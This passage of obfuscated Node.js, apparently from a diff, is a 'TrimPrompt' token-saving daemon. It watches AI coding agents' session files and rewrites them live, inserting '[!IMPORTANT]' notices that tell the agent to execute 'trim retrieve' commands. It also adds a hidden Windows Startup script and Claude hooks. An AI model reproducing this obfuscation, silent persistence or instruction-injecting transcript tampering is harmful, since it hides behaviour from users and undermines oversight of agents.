{compressConversation:_0x2047b2}=require(_0x2674fb(0x126)),_0x3f1175=_0x2047b2(_0x179935,0x9c40);_0x3f1175[_0x2674fb(0x14e)]>0x0&&(_0x4fa5b6=!![],Array[_0x2674fb(0x123)](_0xd569fc[_0x2674fb(0x162)])?_0xd569fc['messages']=_0x3f1175['messages']:_0x1ba49f=JSON[_0x2674fb(0xea)](_0x3f1175['messages'],null,0x2)),_0x4fa5b6&&!Array[_0x2674fb(0x123)](_0xd569fc)&&(_0x1ba49f=JSON['stringify'](_0xd569fc,null,0x2));}}else{const _0x28975e=_0x25e496[_0x2674fb(0x134)]('\x0a'),_0x4d0591=[],_0x2f6b2f=[];for(const _0x42fbd6 of _0x28975e){if(!_0x42fbd6[_0x2674fb(0x10a)]())continue;try{const _0x5d18e1=JSON[_0x2674fb(0x136)](_0x42fbd6);_0x4d0591[_0x2674fb(0x17f)](_0x5d18e1);const _0x51f465=_0x5d18e1[_0x2674fb(0x17e)]||_0x5d18e1;_0x51f465&&typeof _0x51f465['role']===_0x2674fb(0xf2)&&_0x2f6b2f[_0x2674fb(0x17f)](_0x51f465);}catch{}}for(const _0x5b30f8 of _0x2f6b2f){const _0x172e0e=compressMessageContent(_0x5b30f8,_0x148574,_0x521ae6);if(_0x172e0e[_0x2674fb(0x164)])_0x4fa5b6=!![];}const {compressConversation:_0xb0152e}=require(_0x2674fb(0x126)),_0x33eedf=_0xb0152e(_0x2f6b2f,0x9c40);if(_0x33eedf[_0x2674fb(0x14e)]>0x0||_0x4fa5b6){const _0x2e177f=[];for(const _0x16fa37 of _0x4d0591){const _0xf41202=_0x16fa37[_0x2674fb(0x17e)]||_0x16fa37;if(_0xf41202&&typeof _0xf41202[_0x2674fb(0x112)]===_0x2674fb(0xf2)){const _0x55f8fd=_0x33eedf[_0x2674fb(0x162)]['find'](_0x2d8797=>_0x2d8797===_0xf41202);_0x55f8fd?(_0x16fa37[_0x2674fb(0x17e)]?_0x16fa37[_0x2674fb(0x17e)]=_0x55f8fd:Object['assign'](_0x16fa37,_0x55f8fd),_0x2e177f[_0x2674fb(0x17f)](JSON['stringify'](_0x16fa37))):_0x4fa5b6=!![];}else _0x2e177f['push'](JSON['stringify'](_0x16fa37));}_0x1ba49f=_0x2e177f[_0x2674fb(0xe3)]('\x0a'),_0x4fa5b6=!![];}}if(_0x4fa5b6){const _0x433342=Buffer[_0x2674fb(0x113)](_0x1ba49f,_0x2674fb(0x125));fs[_0x2674fb(0x12d)](_0x526b43,_0x1ba49f,_0x2674fb(0x125));const _0xcc810c=Math[_0x2674fb(0x133)](_0x433342/0x4),_0x44495f=Math[_0x2674fb(0xdc)](0x0,_0x3937da-_0xcc810c);if(_0x44495f>0x0){const _0x829439=loadSessionsState(),_0x20aaa1=_0x829439[_0x526b43]||{'lineCount':0x1,'activeSavedTokens':0x0,'sideCacheSaved':0x0,'officialCompactSaved':0x0,'autoCompactSaved':0x0},_0x3e1cca=_0x20aaa1['autoCompactSaved']||0x0,_0x2e0031=_0x3e1cca+_0x44495f;saveSessionStateItem(_0x526b43,_0x20aaa1[_0x2674fb(0x130)],_0x20aaa1[_0x2674fb(0xf4)]||0x0,_0x20aaa1[_0x2674fb(0x111)]||0x0,_0x2e0031,_0x20aaa1[_0x2674fb(0xfe)]||0x0),tracker_1[_0x2674fb(0x184)][_0x2674fb(0xff)](_0x2674fb(0xe6)+_0x521ae6,_0x25e496,_0x1ba49f,_0x44495f,undefined,[_0x2674fb(0xe4)+_0x521ae6,_0x2674fb(0x16f),_0x521ae6,'compact_copy']);}return{'ok':!![],'savedTokens':_0x44495f};}return{'ok':!![],'savedTokens':0x0};}catch(_0x3235a5){return{'ok':![],'savedTokens':0x0,'reason':_0x3235a5[_0x2674fb(0x17e)]||_0x2674fb(0xfd)};}}function installWindowsStartupService(){const _0xdebb21=a0_0xd76980;if(process[_0xdebb21(0x119)]!==_0xdebb21(0x17c))return;try{const _0x4573ee=path[_0xdebb21(0xe3)](os['homedir'](),_0xdebb21(0x13b),_0xdebb21(0x16b),_0xdebb21(0xd5),'Windows',_0xdebb21(0x102),_0xdebb21(0x170),_0xdebb21(0x107));if(!fs[_0xdebb21(0xfc)](_0x4573ee))fs[_0xdebb21(0xec)](_0x4573ee,{'recursive':!![]});const _0x514190=path[_0xdebb21(0xe3)](_0x4573ee,_0xdebb21(0x103)),_0xbaaed7=path['join'](__dirname,'cli.js'),_0x1effaf=_0xbaaed7['replace'](/\\/g,'\x5c\x5c'),_0xb79a5e=_0xdebb21(0x176)+_0x1effaf+_0xdebb21(0x15e);fs[_0xdebb21(0x12d)](_0x514190,_0xb79a5e,_0xdebb21(0x125));}catch{}}function a0_0x5027(_0x25892e,_0x543678){const _0x3808c5=a0_0x3808();return a0_0x5027=function(_0x502742,_0x3d2136){_0x502742=_0x502742-0xca;let _0x22c9e9=_0x3808c5[_0x502742];return _0x22c9e9;},a0_0x5027(_0x25892e,_0x543678);}function startWatcherDaemon(){const _0x3b6132=a0_0xd76980;installWindowsStartupService();try{const {installClaudeHooks:_0x5e8455}=require('./hooks/claude-hook');_0x5e8455();}catch(_0x442216){}const _0x188286=['claude',_0x3b6132(0x14c),_0x3b6132(0x11e),'cursor',_0x3b6132(0x157),_0x3b6132(0x127),_0x3b6132(0x183),_0x3b6132(0x12f),_0x3b6132(0x109)];for(const _0x47d63f of _0x188286){const _0x4c41ec=getAgentStoragePaths(_0x47d63f);for(const _0x179ef2 of _0x4c41ec){if(fs[_0x3b6132(0xfc)](_0x179ef2))try{fs['watch'](_0x179ef2,{'recursive':!![]},(_0xe5049d,_0x2ee9e7)=>{const _0x546533=_0x3b6132;if(!_0x2ee9e7)return;const _0x38c459=path[_0x546533(0xe3)](_0x179ef2,_0x2ee9e7);if(debounceTimers[_0x546533(0xd2)](_0x38c459))clearTimeout(debounceTimers[_0x546533(0x16c)](_0x38c459));const _0x4c0de5=setTimeout(()=>processSessionFile(_0x38c459,_0x47d63f),0x1f4);debounceTimers[_0x546533(0xf6)](_0x38c459,_0x4c0de5);});}catch{}}}setInterval(()=>{const _0x4fbd09=_0x3b6132;for(const _0x919db1 of _0x188286){try{const _0x2b1d00=getLatestSessionFile(_0x919db1);_0x2b1d00&&_0x2b1d00['fullPath']&&processSessionFile(_0x2b1d00[_0x4fbd09(0x13f)],_0x919db1);}catch{}}},0xbb8);const _0x2e4753=()=>{for(const _0x2f2597 of _0x188286){try{const _0x893f7d=getLatestSessionFile(_0x2f2597);_0x893f7d&&_0x893f7d['fullPath']&&compactLiveSession(_0x893f7d['fullPath'],_0x2f2597);}catch{}}};setTimeout(_0x2e4753,0x7d0),setInterval(_0x2e4753,0x2bf20);}
1
+ 'use strict';const a0_0x50f0c7=a0_0x4db4;function a0_0x1eed(){const _0x32417e=['./proxy-conv','Gemini','.claude','.opencode','\x20tokens).','Session\x20file\x20not\x20found','basename','.jpg','ceil','.config','dirname','Programs','has','workspaceStorage','get','cortex','.shm','openclaw','1730650BgZSqq','TrimPrompt\x20Cache\x20Engine','compactSessionCopy','call','loadSessionsState','hasOwnProperty','writable','aider','467871szeEiW','getAgentStoragePaths','chunk_id','sessions_state.json','message','.cortex','fullPath','compactLiveSession','readFileSync','startsWith','messages','saveSessionStateItem','replace','saveChunk','__setModuleDefault','\x27\x20—\x20only\x20JSON/JSONL\x20sessions\x20can\x20be\x20compacted\x20(binary\x20.pb/.db\x20stores\x20are\x20not\x20supported)','__createBinding','processSessionFile','isDirectory','cwd','opencode','\x0a>\x20[!IMPORTANT]\x0a>\x20**[TrimPrompt\x20Cache\x20Engine\x20—\x20Context\x20Offloaded]**\x0a>\x20The\x20raw\x20content\x20of\x20this\x20step\x20(','role','officialCompactSaved','sideCacheSaved','watch','.json1','toISOString','codex','push','.agents','utf8','.wal','media__','.compact','history','.gif','raw_tokens','github-copilot-cli','matchAll','.next','Codex','storage','length','mtimeMs','./hooks/claude-hook','__esModule','cli.js','hookSavedTokens','homedir','saved','compact_copy','live-conv','getLatestSessionFile','__pycache__','claude','Start\x20Menu','parse','643500yhdBbT','Unsupported\x20format\x20\x27','venv','compressed_tokens','autoCompactSaved','compaction\x20failed','custom_storage_paths','File\x20not\x20found','\x20tokens)\x20was\x20moved\x20to\x20local\x20side-cache.\x0a>\x20**Chunk\x20Reference\x20ID:**\x20`','Set\x20WshShell\x20=\x20CreateObject(\x22WScript.Shell\x22)\x0aWshShell.Run\x20\x22node\x20\x22\x22\x22\x20&\x20\x22','sessions','Local','logExecution','default','byteLength','24814575ypnTqz','content','./cache-manager','win32','isArray','system','cache','text','getOwnPropertyDescriptor','activeSavedTokens','path','.openclaw','loadConfig','platform','Roaming','join','modified','defineProperty','.gemini','startWatcherDaemon','.vscdb','lineCount','node_modules','context','.json','AppData','projects','cursor','conversation_toggles','Cursor','TrimPromptDaemon.vbs','__importStar','tracker','\x22\x20&\x20\x22\x22\x22\x20ui\x20--headless\x22,\x200,\x20False\x0a','User','image_','statSync','existsSync','antigravity','type','name','mkdirSync','.webp','env','2993406oFzmVH','endsWith','Startup','stringify','getOwnPropertyNames','3ChiZCQ','.aider.chat.history.md','copilot','.jsonl','none','`\x0a>\x20Retrieve\x20with:\x20`trim\x20retrieve\x20','writeFileSync','8IBQEYI','prompt_turn','extname','compact:','repeat','2568604asEjCC','toLowerCase','Windows','round','prototype','create','isFile','Summary:\x20Text\x20block\x20offloaded\x20(','find','gemini','.pb','object','installWindowsStartupService','`\x0a>\x20If\x20required,\x20execute:\x20`trim\x20retrieve\x20','split','set','configurable','savedTokens','\x0a>\x20[!IMPORTANT]\x0a>\x20**[TrimPrompt\x20Cache\x20Engine\x20—\x20Context\x20Offloaded]**\x0a>\x20**Chunk\x20Reference\x20ID:**\x20`','.venv','60956fJnEHF','.trimprompt','tokens','.tmp','.git','string','conv_','max','includes','darwin'];a0_0x1eed=function(){return _0x32417e;};return a0_0x1eed();}(function(_0x18aba9,_0x4daf55){const _0x3959a3=a0_0x4db4,_0x18b511=_0x18aba9();while(!![]){try{const _0x23ba91=-parseInt(_0x3959a3(0x10b))/0x1+-parseInt(_0x3959a3(0x145))/0x2+-parseInt(_0x3959a3(0xc7))/0x3*(parseInt(_0x3959a3(0xd3))/0x4)+-parseInt(_0x3959a3(0x103))/0x5+-parseInt(_0x3959a3(0xc2))/0x6+parseInt(_0x3959a3(0xe7))/0x7+parseInt(_0x3959a3(0xce))/0x8*(parseInt(_0x3959a3(0x154))/0x9);if(_0x23ba91===_0x4daf55)break;else _0x18b511['push'](_0x18b511['shift']());}catch(_0x3f2580){_0x18b511['push'](_0x18b511['shift']());}}}(a0_0x1eed,0x77678));var __createBinding=this&&this[a0_0x50f0c7(0x11b)]||(Object['create']?function(_0x548da8,_0x1227fe,_0x3e3898,_0x50e4f1){const _0x12f7fb=a0_0x50f0c7;if(_0x50e4f1===undefined)_0x50e4f1=_0x3e3898;var _0x3b4a11=Object[_0x12f7fb(0x15c)](_0x1227fe,_0x3e3898);(!_0x3b4a11||(_0x12f7fb(0xff)in _0x3b4a11?!_0x1227fe[_0x12f7fb(0x139)]:_0x3b4a11[_0x12f7fb(0x109)]||_0x3b4a11[_0x12f7fb(0xe3)]))&&(_0x3b4a11={'enumerable':!![],'get':function(){return _0x1227fe[_0x3e3898];}}),Object[_0x12f7fb(0xa7)](_0x548da8,_0x50e4f1,_0x3b4a11);}:function(_0xc769e3,_0x4942b7,_0x2913a4,_0x5d0033){if(_0x5d0033===undefined)_0x5d0033=_0x2913a4;_0xc769e3[_0x5d0033]=_0x4942b7[_0x2913a4];}),__setModuleDefault=this&&this[a0_0x50f0c7(0x119)]||(Object[a0_0x50f0c7(0xd8)]?function(_0x1160ad,_0xa045b9){const _0x171f25=a0_0x50f0c7;Object[_0x171f25(0xa7)](_0x1160ad,_0x171f25(0x152),{'enumerable':!![],'value':_0xa045b9});}:function(_0x6053e9,_0x4872eb){_0x6053e9['default']=_0x4872eb;}),__importStar=this&&this[a0_0x50f0c7(0xb5)]||(function(){var _0x250d08=function(_0x4f429c){const _0x584431=a0_0x4db4;return _0x250d08=Object[_0x584431(0xc6)]||function(_0x215aaf){const _0x5be260=_0x584431;var _0x5e80cf=[];for(var _0x217234 in _0x215aaf)if(Object[_0x5be260(0xd7)][_0x5be260(0x108)][_0x5be260(0x106)](_0x215aaf,_0x217234))_0x5e80cf[_0x5e80cf['length']]=_0x217234;return _0x5e80cf;},_0x250d08(_0x4f429c);};return function(_0x185e46){const _0x248d2e=a0_0x4db4;if(_0x185e46&&_0x185e46['__esModule'])return _0x185e46;var _0x3b5528={};if(_0x185e46!=null){for(var _0x597405=_0x250d08(_0x185e46),_0x59079a=0x0;_0x59079a<_0x597405['length'];_0x59079a++)if(_0x597405[_0x59079a]!==_0x248d2e(0x152))__createBinding(_0x3b5528,_0x185e46,_0x597405[_0x59079a]);}return __setModuleDefault(_0x3b5528,_0x185e46),_0x3b5528;};}());Object[a0_0x50f0c7(0xa7)](exports,a0_0x50f0c7(0x139),{'value':!![]}),exports[a0_0x50f0c7(0x160)]=loadConfig,exports['saveConfig']=saveConfig,exports[a0_0x50f0c7(0x10c)]=getAgentStoragePaths,exports[a0_0x50f0c7(0x140)]=getLatestSessionFile,exports[a0_0x50f0c7(0x107)]=loadSessionsState,exports[a0_0x50f0c7(0x116)]=saveSessionStateItem,exports[a0_0x50f0c7(0x11c)]=processSessionFile,exports[a0_0x50f0c7(0x105)]=compactSessionCopy,exports[a0_0x50f0c7(0x112)]=compactLiveSession,exports[a0_0x50f0c7(0xdf)]=installWindowsStartupService,exports[a0_0x50f0c7(0xa9)]=startWatcherDaemon;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x50f0c7(0x15e))),os=__importStar(require('os')),cache_manager_1=require(a0_0x50f0c7(0x156)),tracker_1=require('./tracker'),baseDir=path[a0_0x50f0c7(0xa5)](os[a0_0x50f0c7(0x13c)](),a0_0x50f0c7(0xe8)),configPath=path[a0_0x50f0c7(0xa5)](baseDir,'config.json'),DEFAULT_CONFIG={'autostart_enabled':!![],'conversation_toggles':{'conv_claude':!![],'conv_codex':!![],'conv_cursor':!![],'conv_aider':!![],'conv_copilot':!![],'conv_openclaw':!![],'conv_opencode':!![],'conv_cortex':!![]},'custom_storage_paths':{'claude':null,'codex':null,'cursor':null,'aider':null,'copilot':null,'openclaw':null,'opencode':null,'cortex':null}};function loadConfig(){const _0x5c365a=a0_0x50f0c7;try{if(!fs[_0x5c365a(0xbb)](baseDir))fs['mkdirSync'](baseDir,{'recursive':!![]});if(fs[_0x5c365a(0xbb)](configPath)){const _0x52a6ef=JSON['parse'](fs[_0x5c365a(0x113)](configPath,'utf8'));return{...DEFAULT_CONFIG,..._0x52a6ef,'conversation_toggles':{...DEFAULT_CONFIG[_0x5c365a(0xb2)],..._0x52a6ef[_0x5c365a(0xb2)]||{}},'custom_storage_paths':{...DEFAULT_CONFIG[_0x5c365a(0x14b)],..._0x52a6ef['custom_storage_paths']||{}}};}}catch{}return DEFAULT_CONFIG;}function saveConfig(_0x238ed2){const _0x5c49c6=a0_0x50f0c7,_0x2397be=loadConfig(),_0x4a9a28={..._0x2397be,..._0x238ed2,'conversation_toggles':{..._0x2397be[_0x5c49c6(0xb2)],..._0x238ed2['conversation_toggles']||{}},'custom_storage_paths':{..._0x2397be[_0x5c49c6(0x14b)],..._0x238ed2[_0x5c49c6(0x14b)]||{}}};try{if(!fs['existsSync'](baseDir))fs[_0x5c49c6(0xbf)](baseDir,{'recursive':!![]});fs[_0x5c49c6(0xcd)](configPath,JSON['stringify'](_0x4a9a28,null,0x2),_0x5c49c6(0x12a));}catch{}return _0x4a9a28;}function getAgentStoragePaths(_0x18ea75){const _0x243e35=a0_0x50f0c7,_0x58c1a3=loadConfig(),_0x182b30=_0x58c1a3[_0x243e35(0x14b)][_0x18ea75];if(_0x182b30&&fs['existsSync'](_0x182b30))return[_0x182b30];const _0x370b24=os[_0x243e35(0x13c)](),_0x14124c=process[_0x243e35(0x161)]==='win32',_0x41c0e9=process[_0x243e35(0x161)]===_0x243e35(0xf0);switch(_0x18ea75){case _0x243e35(0x142):return[path[_0x243e35(0xa5)](_0x370b24,'.claude',_0x243e35(0xb0)),path[_0x243e35(0xa5)](_0x370b24,_0x243e35(0xf3),_0x243e35(0x12e))];case _0x243e35(0x127):return[path['join'](_0x370b24,'.codex',_0x243e35(0x14f)),path[_0x243e35(0xa5)](_0x370b24,_0x243e35(0xaf),_0x243e35(0x162),_0x243e35(0x134))];case'gemini':case _0x243e35(0xbc):return[path[_0x243e35(0xa5)](_0x370b24,_0x243e35(0xa8),_0x243e35(0xbc)),path[_0x243e35(0xa5)](_0x370b24,_0x243e35(0xa8)),path[_0x243e35(0xa5)](_0x370b24,_0x243e35(0xaf),_0x243e35(0x162),_0x243e35(0xf2)),path[_0x243e35(0xa5)](_0x370b24,'.config',_0x243e35(0xdc))];case _0x243e35(0xb1):if(_0x14124c)return[path[_0x243e35(0xa5)](_0x370b24,_0x243e35(0xaf),_0x243e35(0x162),_0x243e35(0xb3),'User',_0x243e35(0xfe))];if(_0x41c0e9)return[path[_0x243e35(0xa5)](_0x370b24,'Library','Application\x20Support',_0x243e35(0xb3),_0x243e35(0xb8),_0x243e35(0xfe))];return[path[_0x243e35(0xa5)](_0x370b24,'.config',_0x243e35(0xb3),'User',_0x243e35(0xfe))];case _0x243e35(0x10a):return[process[_0x243e35(0x11e)](),path[_0x243e35(0xa5)](_0x370b24,_0x243e35(0xc8))];case _0x243e35(0xc9):if(_0x14124c)return[path[_0x243e35(0xa5)](_0x370b24,_0x243e35(0xaf),_0x243e35(0x150),_0x243e35(0x131))];return[path['join'](_0x370b24,_0x243e35(0xfa),_0x243e35(0x131))];case _0x243e35(0x102):return[path[_0x243e35(0xa5)](_0x370b24,'.openclaw',_0x243e35(0x135)),path['join'](process[_0x243e35(0x11e)](),_0x243e35(0x15f),_0x243e35(0xad))];case _0x243e35(0x11f):return[path[_0x243e35(0xa5)](_0x370b24,_0x243e35(0xf4),_0x243e35(0x14f))];case _0x243e35(0x100):return[path[_0x243e35(0xa5)](_0x370b24,_0x243e35(0x110),_0x243e35(0x15a))];default:return[];}}function getLatestSessionFile(_0x5e2a3f){const _0x125e27=a0_0x50f0c7,_0x5404b3=getAgentStoragePaths(_0x5e2a3f);let _0x5d888a=null,_0x5a32b5=0x0,_0x48e448=null,_0x3f15bc=null;for(const _0xc6af22 of _0x5404b3){if(fs[_0x125e27(0xbb)](_0xc6af22)){if(!_0x3f15bc)_0x3f15bc=_0xc6af22;const _0x324769=(_0x8d4cf1,_0x2a34e6=0x0)=>{const _0x3325c9=_0x125e27;if(_0x2a34e6>0x6)return;try{const _0x2ca6ca=fs['readdirSync'](_0x8d4cf1,{'withFileTypes':!![]});for(const _0x32fb52 of _0x2ca6ca){const _0x35c4ad=path[_0x3325c9(0xa5)](_0x8d4cf1,_0x32fb52['name']);if(_0x32fb52[_0x3325c9(0x11d)]()){const _0x38be64=_0x32fb52[_0x3325c9(0xbe)][_0x3325c9(0xd4)]();if(_0x38be64===_0x3325c9(0xac)||_0x38be64===_0x3325c9(0xeb)||_0x38be64===_0x3325c9(0xe6)||_0x38be64===_0x3325c9(0xc1)||_0x38be64===_0x3325c9(0x147)||_0x38be64===_0x3325c9(0x141)||_0x38be64===_0x3325c9(0x133)||_0x38be64==='dist'||_0x38be64==='build'||_0x38be64==='out'||_0x38be64===_0x3325c9(0x129))continue;_0x324769(_0x35c4ad,_0x2a34e6+0x1);}else{if(_0x32fb52[_0x3325c9(0xd9)]()&&!_0x32fb52[_0x3325c9(0xbe)][_0x3325c9(0x114)]('.')){const _0x33b41f=_0x32fb52[_0x3325c9(0xbe)][_0x3325c9(0xd4)]();if(_0x33b41f[_0x3325c9(0xef)](_0x3325c9(0x12d))||_0x33b41f[_0x3325c9(0xc3)]('.db')||_0x33b41f[_0x3325c9(0xc3)](_0x3325c9(0xaa))||_0x33b41f[_0x3325c9(0xc3)]('.png')||_0x33b41f[_0x3325c9(0xc3)](_0x3325c9(0xf8))||_0x33b41f[_0x3325c9(0xc3)]('.jpeg')||_0x33b41f[_0x3325c9(0xc3)](_0x3325c9(0x12f))||_0x33b41f['endsWith'](_0x3325c9(0xc0))||_0x33b41f[_0x3325c9(0xc3)](_0x3325c9(0xdd))||_0x33b41f[_0x3325c9(0xc3)](_0x3325c9(0x12b))||_0x33b41f['endsWith'](_0x3325c9(0x101))||_0x33b41f[_0x3325c9(0xc3)](_0x3325c9(0xea))||_0x33b41f[_0x3325c9(0xc3)]('.lock')||_0x33b41f[_0x3325c9(0xc3)]('.dat')||_0x33b41f[_0x3325c9(0x114)](_0x3325c9(0x12c))||_0x33b41f[_0x3325c9(0x114)](_0x3325c9(0xb9)))continue;const _0x27d44f=fs[_0x3325c9(0xba)](_0x35c4ad);_0x27d44f[_0x3325c9(0x137)]>_0x5a32b5&&(_0x5a32b5=_0x27d44f['mtimeMs'],_0x5d888a=_0x32fb52['name'],_0x48e448=_0x35c4ad,_0x3f15bc=_0xc6af22);}}}}catch{}};_0x324769(_0xc6af22);}}return{'fileName':_0x5d888a,'lastModified':_0x5a32b5>0x0?new Date(_0x5a32b5)[_0x125e27(0x126)]():null,'fullPath':_0x48e448,'dirPath':_0x3f15bc};}const debounceTimers=new Map(),lastLoggedTimes=new Map(),OFFLOAD_THRESHOLD_CHARS=0x7d0;function compressMessageContent(_0x3117c5,_0x4d347f,_0x23d47c){const _0x31ad43=a0_0x50f0c7;let _0x4b24aa=![],_0x3b2275=0x0;if(!_0x3117c5)return{'modified':_0x4b24aa,'savedTokens':_0x3b2275};const _0x111f6c=_0x38dd63=>_0x38dd63[_0x31ad43(0x117)](/\r\n/g,'\x0a')[_0x31ad43(0x117)](/\n{3,}/g,'\x0a\x0a');if(typeof _0x3117c5[_0x31ad43(0x155)]===_0x31ad43(0xec)){let _0x33ca34=_0x3117c5[_0x31ad43(0x155)],_0x1dc76f=_0x111f6c(_0x33ca34);_0x1dc76f['length']<_0x33ca34[_0x31ad43(0x136)]&&(_0x3117c5[_0x31ad43(0x155)]=_0x1dc76f,_0x4b24aa=!![],_0x3b2275+=Math[_0x31ad43(0xf9)]((_0x33ca34[_0x31ad43(0x136)]-_0x1dc76f[_0x31ad43(0x136)])/0x4));if(_0x3117c5[_0x31ad43(0x155)]['length']>OFFLOAD_THRESHOLD_CHARS&&!_0x3117c5[_0x31ad43(0x155)][_0x31ad43(0xef)](_0x31ad43(0x104))){const _0x5c7bcf='Summary:\x20Content\x20offloaded\x20('+Math['ceil'](_0x3117c5[_0x31ad43(0x155)]['length']/0x4)+'\x20tokens).',_0x5c547c=(0x0,cache_manager_1[_0x31ad43(0x118)])(_0x4d347f,_0x23d47c,_0x3117c5['content'],_0x5c7bcf);_0x3117c5[_0x31ad43(0x155)]=_0x31ad43(0x120)+_0x5c547c[_0x31ad43(0x130)]+_0x31ad43(0x14d)+_0x5c547c[_0x31ad43(0x10d)]+_0x31ad43(0xe0)+_0x5c547c[_0x31ad43(0x10d)]+'`\x0a',_0x4b24aa=!![],_0x3b2275+=Math[_0x31ad43(0xee)](0x0,_0x5c547c[_0x31ad43(0x130)]-_0x5c547c['compressed_tokens']);}}else{if(Array[_0x31ad43(0x158)](_0x3117c5[_0x31ad43(0x155)]))for(const _0x204586 of _0x3117c5['content']){if(_0x204586&&typeof _0x204586==='object'){if(typeof _0x204586[_0x31ad43(0x15b)]===_0x31ad43(0xec)){let _0x22ff18=_0x204586[_0x31ad43(0x15b)],_0x387a57=_0x111f6c(_0x22ff18);_0x387a57[_0x31ad43(0x136)]<_0x22ff18[_0x31ad43(0x136)]&&(_0x204586[_0x31ad43(0x15b)]=_0x387a57,_0x4b24aa=!![],_0x3b2275+=Math[_0x31ad43(0xf9)]((_0x22ff18[_0x31ad43(0x136)]-_0x387a57['length'])/0x4));if(_0x204586[_0x31ad43(0x15b)][_0x31ad43(0x136)]>OFFLOAD_THRESHOLD_CHARS&&!_0x204586[_0x31ad43(0x15b)]['includes'](_0x31ad43(0x104))){const _0x1bb840=_0x31ad43(0xda)+Math[_0x31ad43(0xf9)](_0x204586[_0x31ad43(0x15b)][_0x31ad43(0x136)]/0x4)+_0x31ad43(0xf5),_0x579a77=(0x0,cache_manager_1[_0x31ad43(0x118)])(_0x4d347f,_0x23d47c,_0x204586[_0x31ad43(0x15b)],_0x1bb840);_0x204586[_0x31ad43(0x15b)]=_0x31ad43(0xe5)+_0x579a77[_0x31ad43(0x10d)]+_0x31ad43(0xcc)+_0x579a77[_0x31ad43(0x10d)]+'`\x0a',_0x4b24aa=!![],_0x3b2275+=Math[_0x31ad43(0xee)](0x0,_0x579a77['raw_tokens']-_0x579a77[_0x31ad43(0x148)]);}}else{if(typeof _0x204586[_0x31ad43(0x155)]===_0x31ad43(0xec)){let _0x16626a=_0x204586['content'],_0x2e3d69=_0x111f6c(_0x16626a);_0x2e3d69[_0x31ad43(0x136)]<_0x16626a[_0x31ad43(0x136)]&&(_0x204586[_0x31ad43(0x155)]=_0x2e3d69,_0x4b24aa=!![],_0x3b2275+=Math[_0x31ad43(0xf9)]((_0x16626a[_0x31ad43(0x136)]-_0x2e3d69['length'])/0x4));if(_0x204586['content'][_0x31ad43(0x136)]>OFFLOAD_THRESHOLD_CHARS&&!_0x204586[_0x31ad43(0x155)]['includes'](_0x31ad43(0x104))){const _0x321b6f='Summary:\x20Tool\x20result\x20offloaded\x20('+Math[_0x31ad43(0xf9)](_0x204586[_0x31ad43(0x155)][_0x31ad43(0x136)]/0x4)+_0x31ad43(0xf5),_0x306682=(0x0,cache_manager_1[_0x31ad43(0x118)])(_0x4d347f,_0x23d47c,_0x204586['content'],_0x321b6f);_0x204586[_0x31ad43(0x155)]=_0x31ad43(0xe5)+_0x306682['chunk_id']+_0x31ad43(0xcc)+_0x306682['chunk_id']+'`\x0a',_0x4b24aa=!![],_0x3b2275+=Math[_0x31ad43(0xee)](0x0,_0x306682[_0x31ad43(0x130)]-_0x306682[_0x31ad43(0x148)]);}}}}}}return{'modified':_0x4b24aa,'savedTokens':_0x3b2275};}const sessionsStatePath=path[a0_0x50f0c7(0xa5)](baseDir,a0_0x50f0c7(0x10e));let sessionsStateMemoryCache=null;function loadSessionsState(){const _0x550431=a0_0x50f0c7;try{if(fs['existsSync'](sessionsStatePath)){const _0x3afb8b=JSON[_0x550431(0x144)](fs[_0x550431(0x113)](sessionsStatePath,_0x550431(0x12a)));if(_0x3afb8b&&typeof _0x3afb8b===_0x550431(0xde))return sessionsStateMemoryCache=_0x3afb8b,_0x3afb8b;}}catch{}return sessionsStateMemoryCache||{};}function saveSessionStateItem(_0x420a1e,_0x20098b,_0x57af73,_0x9e377a=0x0,_0x316c4f=0x0,_0x475ccc=0x0){const _0x45b1e0=a0_0x50f0c7;try{const _0x32b147=loadSessionsState(),_0x110269=_0x32b147[_0x420a1e]||{},_0x4c64a5=_0x316c4f||_0x110269[_0x45b1e0(0x149)]||0x0,_0x11ee49=_0x475ccc||_0x110269[_0x45b1e0(0x13b)]||0x0,_0x2de49f=_0x57af73!==undefined?_0x57af73:_0x110269['officialCompactSaved']||0x0;_0x32b147[_0x420a1e]={'lineCount':_0x20098b||_0x110269[_0x45b1e0(0xab)]||0x1,'activeSavedTokens':_0x2de49f+_0x4c64a5+_0x11ee49,'sideCacheSaved':_0x9e377a||_0x110269[_0x45b1e0(0x123)]||0x0,'officialCompactSaved':_0x2de49f,'autoCompactSaved':_0x4c64a5,'hookSavedTokens':_0x11ee49},sessionsStateMemoryCache=_0x32b147;if(!fs['existsSync'](baseDir))fs[_0x45b1e0(0xbf)](baseDir,{'recursive':!![]});const _0x236757=sessionsStatePath+_0x45b1e0(0xea);fs['writeFileSync'](_0x236757,JSON[_0x45b1e0(0xc5)](_0x32b147,null,0x2),'utf8'),fs['renameSync'](_0x236757,sessionsStatePath);}catch{}}function processSessionFile(_0x198ad3,_0x260865){const _0x230b27=a0_0x50f0c7;try{if(!fs[_0x230b27(0xbb)](_0x198ad3))return;const _0x513014=fs[_0x230b27(0xba)](_0x198ad3);if(_0x513014[_0x230b27(0x11d)]()||_0x513014['size']===0x0)return;const _0x4e6e4b=loadConfig(),_0x1f1a8e='conv_'+_0x260865;if(_0x4e6e4b[_0x230b27(0xb2)][_0x1f1a8e]===![])return;const _0x8d762e=fs['readFileSync'](_0x198ad3,_0x230b27(0x12a)),_0x528882=path[_0x230b27(0xd0)](_0x198ad3)[_0x230b27(0xd4)]();let _0x4b5fad=0x1;if(_0x528882===_0x230b27(0xca)||_0x528882==='.json1')_0x4b5fad=_0x8d762e['split']('\x0a')['filter'](Boolean)[_0x230b27(0x136)];else{if(_0x528882===_0x230b27(0xae))try{const _0xc54ff=JSON[_0x230b27(0x144)](_0x8d762e),_0x1ba44e=Array[_0x230b27(0x158)](_0xc54ff[_0x230b27(0x115)])?_0xc54ff[_0x230b27(0x115)]:Array[_0x230b27(0x158)](_0xc54ff)?_0xc54ff:null;if(_0x1ba44e)_0x4b5fad=_0x1ba44e[_0x230b27(0x136)];}catch{}}let _0x689618=0x0;if((_0x528882===_0x230b27(0xca)||_0x528882===_0x230b27(0x125))&&_0x8d762e['includes'](_0x230b27(0x13d))&&_0x8d762e['includes'](_0x230b27(0xe9))){const _0xc5b23c=/(?:Compacted conversation\s*·\s*)?saved\s*([\d\.]+)k?\s*tokens/gi;for(const _0x3b046e of _0x8d762e[_0x230b27(0xe1)]('\x0a')){if(!_0x3b046e[_0x230b27(0xef)]('saved')||!_0x3b046e[_0x230b27(0xef)](_0x230b27(0xe9)))continue;try{const _0x43114d=JSON['parse'](_0x3b046e);if(_0x43114d[_0x230b27(0xbd)]!==_0x230b27(0x159))continue;const 